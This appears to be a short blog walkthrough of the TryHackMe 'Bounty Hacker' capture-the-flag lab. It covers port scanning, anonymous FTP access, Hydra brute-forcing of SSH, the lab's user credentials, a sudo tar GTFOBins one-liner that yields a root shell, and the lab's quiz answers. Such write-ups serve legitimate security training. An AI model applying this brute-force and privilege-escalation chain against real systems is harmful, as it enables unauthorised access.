BOUNTY HACKER WALKTHROUGH | TRYHACKME

You were boasting on and on about your elite hacker skills in the bar and a few Bounty Hunters decided they’d take you up on claims! Prove your status is more than just a few glasses at the bar. I sense bell peppers & beef in your future!

Let’s start from scanning.

nmap -sS <IP>

nmap

Open ports — FTP, SSH, HTTP

Start from FTP, there is anonymous login allowed.

Download all files from FTP.

mget *

FTP

There is a wordlist in notes.txt and a user name in task.txt

notes.txt

task.txt

Check these credentials in SSH via bruteforce.

Hydra

user — lin and password — RedDr4gonSynd1cat3

Login in SSH and in /Desktop, there is user flag.

user.txt

Privilege Escalation:

Get ANWAR1’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Run sudo -l, there is binary, which we can run on the behalf of sudo:

/bin/tar

sudo -l

Check tar in gtfobins, yeah, it’s avaliable there. Copy command, in terminal add sudo and write complete binary before running.

sudo /bin/tar cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh

root shell

Root flag location — /root/root.txt

Answer the questions below

Q1: Who wrote the task list?

A: lin

Q2: What service can you bruteforce with the text file found?

A: SSH

Q3: What is the users password?

A: RedDr4gonSynd1cat3

Q4: user.txt

A: check yourself

Q5: root.txt

A: check yourself

LAB SOLVED!